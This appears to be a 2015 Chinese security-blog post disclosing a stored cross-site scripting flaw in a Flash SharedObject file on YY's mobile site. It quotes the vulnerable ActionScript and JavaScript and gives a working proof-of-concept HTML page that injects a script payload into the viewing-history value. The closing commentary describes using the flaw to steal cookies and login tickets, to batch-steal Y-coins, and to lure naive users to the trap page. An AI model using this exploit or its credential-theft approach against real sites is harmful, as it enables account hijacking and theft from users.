YY网站的一个xss跨站漏洞 - 网站安全

YY网站的一个xss跨站漏洞 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] YY网站的xss跨站漏洞一枚，可偷摸的盗号,话不多说，详细内容请往下看。接着看：这个漏洞是由一个flash文件引起的，文件地址：http: m yy com live swf Shareobject swf?v=1 1flash文件：http: m yy c...

YY网站的xss跨站漏洞一枚，可偷摸的盗号,话不多说，详细内容请往下看。

接着看：

这个漏洞是由一个flash文件引起的，文件地址：http://m.yy.com/live/swf/Shareobject.swf?v=1.1

flash文件：http://m.yy.com/live/swf/Shareobject.swf?v=1.1

看一下as代码，使用了SharedObject和addCallback，但是却没有对参数进行任何过滤，于是乎xss就出现了。

private function fl_get(param1:uint = 9999) : Object
        {
            var _loc_2:* = SharedObject.getLocal("yy-sharedobject", "/");
            if (!_loc_2.data.shareObj)
            {
                _loc_2.data.shareObj = {};
            }
            if (!_loc_2.data.shareObj[param1])
            {
                return null;
            }
            return _loc_2.data.shareObj[param1];
        }// end function

出现问题的网址是娱乐的视频直播页面，示例：

http://m.yy.com/live/1980062727/

观察js文件，发现如下代码：

function saveViewHisoryToCache() {
var b = "ent_view_history";
var a = getShareobjData(b);
if (!a || a.length == 0) {
a = [window.liveRoomTopId]
} else {
var c = $.inArray(window.liveRoomTopId, a);
if (c >= 0) {
a.splice(c, 1)
}
a.push(window.liveRoomTopId);
if (a.length > 18) {
a.shift()
}
}
saveShareobjData(b, a)
}

进入页面后会自动读取flash SharedObject的“ent_view_history”项，于是随便建个网页，写上代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript" src="swfobject.js"></script>
</head>
<body>
<div id="main"></div>
<script type="text/javascript">
//flash
var params = {};
params.menu = "false";
params.scale = "noScale";
params.allowFullscreen = "false";
params.allowScriptAccess = "always";
params.bgcolor = "#ffffff";
params.wmode = "window"; 
swfobject.embedSWF("http://m.yy.com/live/swf/Shareobject.swf?v=1.1", "main", "600", "600", "10.0.0", "expressInstall.swf", null, params, null);
function sharedObjectReady(){
main.j2s_save('1\\";alert(document.domain);//1',"ent_view_history")
}
</script>
</body>
</html>

然后访问以下这个页面，再打开上面那个http://m.yy.com/live/1980062727/，弹出了下图：

下面闲聊几句：

这里有个问题，就是只能使用一次，网站会自动重置存储的内容。不过，很明显这个不是问题的所在，因为一次就够了。

通过代码可以直接获取网站的cookie，然后，更重要的是，还可以通过js代码获取到当前电脑上所有已登录YY一键登录网页所需的ticket，不过这个ticket是否有IP验证我没有测试。

可能你们会说，cookie、ticket是有时效性的，但是在这个有效时间内批量登录、批量盗个Y币开个会员刷个礼物啥的，还是小意思吧。

可能你们还会说，可执行性差，但是相信我，让YY上的人去访问一个网页真的很简单，小白太多了，更何况这个是防不胜防，因为发的网址表面上看一点问题都没有。借用教程里的词汇叫“埋雷式攻击”！

phpshe1.2前台无需登录getshell - 网站安全 - 自学ph

关于Jenkins安全测试的一些技巧 - 网站安全 - 自学

子栏目

YY网站的一个xss跨站漏洞 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论